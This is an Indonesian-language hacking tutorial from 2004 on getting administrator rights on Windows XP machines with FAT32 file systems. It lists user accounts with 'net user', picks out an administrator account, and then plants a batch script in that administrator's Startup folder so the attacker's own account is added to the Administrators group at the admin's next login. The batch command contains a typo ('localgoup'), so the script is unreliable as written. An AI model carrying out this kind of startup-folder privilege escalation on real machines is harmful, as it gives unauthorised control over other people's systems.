� Back

� WWW.SPYROZONE.TK �

 

[028]. MENDAPATKAN AKSES ADMIN WINDOWS XP

 

------------------------------------------------------

Author  : SPYRO KiD

Contact : spyro_zone@Yahoo.com ==> www.spyrozone.tk

CopyLEFT (c) 2004 www.spyrozone.tk All Rights Reserved

� 08/12/2004  23:03:20 WIB

------------------------------------------------------

 

//---< Metode exploitasi:

 

Windows XP yang file systemnya adalah Fat32 memperbolehkan user biasa untuk mengakses direktory home dari admin yang (biasanya) terletak pada lokasi berikut:

 
C:\Documents and Settings\Administrator\

 
Sedangkan pada Windows XP yang ber file system NTFS, user biasa tidak akan bisa mengakses direktory home dari admin.

 

//---< Exploitasi
 

1. MELIHAT USER TERDAFTAR
------------------------------
C:\DOCUME~1\spyro>net user 

User accounts for \\spyroNET

---------------------------------------------------------------------------

Administrator   Guest  spyro
HelpAssistant SUPPORT_388945a0 SuperUser 
The command completed successfully.


MELIHAT HAK AKSES USER
----------------------------------------------

C:\DOCUME~1\spyro>net user SuperUser 
User name SuperUser
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 7/12/2004 3:38 AM
Password expires Never
Password changeable 7/12/2004 3:38 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 7/12/2004 11:16 PM

Logon hours allowed All

Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.

Kini kita sudah tau siapa yang menjadi Administrator. Buatlah script batch seperti berikut:

net localgoup Administrators spyro /add

Simpan di lokasi berikut:
C:\Documents and Settings\SuperUser\Start Menu\Programs\Startup

Tunggu sang admin untuk login... setelah itu, level kita sudah setingkat admin ;)

  

/* ------------------------------|EOF|------------------------------ */

 

   � Back

� WWW.SPYROZONE.TK �